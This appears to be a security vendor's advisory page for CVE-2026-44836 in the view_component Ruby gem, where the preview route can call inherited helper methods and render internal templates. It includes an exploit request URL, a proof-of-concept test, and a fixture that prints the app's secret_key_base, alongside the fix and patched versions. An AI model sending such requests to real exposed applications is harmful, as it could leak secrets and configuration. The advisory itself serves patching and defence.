Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
💎
💎 RubyGems
Not in CISA KEV
MEDIUM severity

CVE-2026-44836 — view_component

MEDIUM

CVE-2026-44836 is a medium-severity (CVSS 6.5) CWE-749 vulnerability in view_component. A fix is available for view_component — see the affected versions and patch details below.

view_component: Preview Route Can Dispatch Inherited Helper Methods

Also known asGHSA-7f3r-gwc9-2995
Published
May 26, 2026
Updated
Aug 12, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 23, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-44836.

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs28th percentile — riskier than 28% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

CVE-2026-44836 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 378,156 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
💎view_component

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects RubyGems packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The preview route derives an example name from the URL and calls it with public_send. The code does not verify that the requested method is one of the preview examples explicitly defined by the preview class.

As a result, inherited public methods on ViewComponent::Preview are route-reachable. The most important one is render_with_template, which accepts template: and locals:. Those values can come from request params and are later passed to Rails as render template:.

If previews are exposed, an attacker can render internal Rails templates that are not otherwise routable.

Severity: High if preview routes are externally reachable; Medium otherwise.

Affected files:

  • lib/view_component/preview.rb
  • app/controllers/concerns/view_component/preview_actions.rb
  • app/views/view_components/preview.html.erb

Relevant Code

app/controllers/concerns/view_component/preview_actions.rb:

@example_name = File.basename(params[:path])
@render_args = @preview.render_args(@example_name, params: params.permit!)

lib/view_component/preview.rb:

example_params_names = instance_method(example).parameters.map(&:last)
provided_params = params.slice(*example_params_names).to_h.symbolize_keys
result = provided_params.empty? ? new.public_send(example) : new.public_send(example, **provided_params)

app/views/view_components/preview.html.erb:

<%= render template: @render_args[:template], locals: @render_args[:locals] || {} %>

The UI only lists direct preview methods via:

public_instance_methods(false).map(&:to_s).sort

But render_args does not enforce that list before dispatching.

Exploit Flow

Example request:

GET /rails/view_components/my_component/render_with_template?template=internal/secret&locals[poc_local]=attacker-controlled-local&request_marker=attacker-controlled-request

Flow:

  1. my_component resolves to a valid preview.
  2. File.basename(params[:path]) returns render_with_template.
  3. render_args calls inherited ViewComponent::Preview#render_with_template.
  4. Request params provide template: "internal/secret" and locals: {...}.
  5. The preview view renders internal/secret with attacker-controlled locals.

Impact depends on what internal templates render. In the worst case this can expose secrets, config, debug data, admin-only partials, or request/session-derived values.

PoC Test

This checkout already contains a PoC at:

  • test/sandbox/test/security_preview_template_poc_test.rb
  • test/sandbox/app/views/internal/secret.html.erb

The test proves that /internal/secret is not directly routable, but can still be rendered through the preview endpoint by invoking inherited render_with_template.

If reproducing manually, run:

bundle exec ruby -Itest test/sandbox/test/security_preview_template_poc_test.rb

Equivalent standalone test:

# frozen_string_literal: true

require "test_helper"

class SecurityPreviewTemplatePocTest < ActionDispatch::IntegrationTest
  def setup
    ViewComponent::Preview.__vc_load_previews
  end

  def test_preview_route_can_invoke_inherited_render_with_template
    refute_includes MyComponentPreview.examples, "render_with_template"

    assert_raises(ActionController::RoutingError) do
      Rails.application.routes.recognize_path("/internal/secret")
    end

    get(
      "/rails/view_components/my_component/render_with_template",
      params: {
        template: "internal/secret",
        locals: {poc_local: "attacker-controlled-local"},
        request_marker: "attacker-controlled-request"
      }
    )

    assert_response :success
    assert_includes response.body, "VC_PREVIEW_POC_SECRET=foo"
    assert_includes response.body, "VC_PREVIEW_POC_LOCAL=attacker-controlled-local"
    assert_includes response.body, "VC_PREVIEW_POC_REQUEST=attacker-controlled-request"
  end
end

Fixture template:

<div id="poc-secret">VC_PREVIEW_POC_SECRET=<%= Rails.application.secret_key_base %></div>
<div id="poc-local">VC_PREVIEW_POC_LOCAL=<%= local_assigns[:poc_local] || local_assigns["poc_local"] %></div>
<div id="poc-request">VC_PREVIEW_POC_REQUEST=<%= params[:request_marker] %></div>

Suggested Fix

Only dispatch explicitly declared preview examples:

def render_args(example, params: {})
  example = example.to_s
  raise AbstractController::ActionNotFound unless examples.include?(example)

  example_params_names = instance_method(example).parameters.map(&:last)
  provided_params = params.slice(*example_params_names).to_h.symbolize_keys
  result = provided_params.empty? ? new.public_send(example) : new.public_send(example, **provided_params)
  result ||= {}
  result[:template] = preview_example_template_path(example) if result[:template].nil?
  @layout = nil unless defined?(@layout)
  result.merge(layout: @layout)
end

Add a regression test that /rails/view_components/my_component/render_with_template fails unless render_with_template is explicitly defined as a preview example on that class.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
💎RubyGemsview_component≥ 3.0.0&&< 4.9.04.9.0bundle update view_component --conservative

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for view_component, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update view_component to 4.9.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-44836 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-44836 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2026-44836. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary The preview route derives an example name from the URL and calls it with `public_send`. The code does not verify that the requested method is one of the preview examples explicitly defined by the preview class. As a result, inherited public methods on `ViewComponent::Preview` are route-reachable. The most important one is `render_with_template`, which accepts `template:` and `locals:`. Those values can come from request params and are later passed to Rails as `render template:`. If previews are exposed, an attacker can render internal Rails templates that are not otherwise routa
O3 Security · Impact-Aware SCA

Is CVE-2026-44836 in your dependencies?

O3 Security finds CVE-2026-44836 across RubyGems dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

CVE-2026-44836: view_component | O3 Security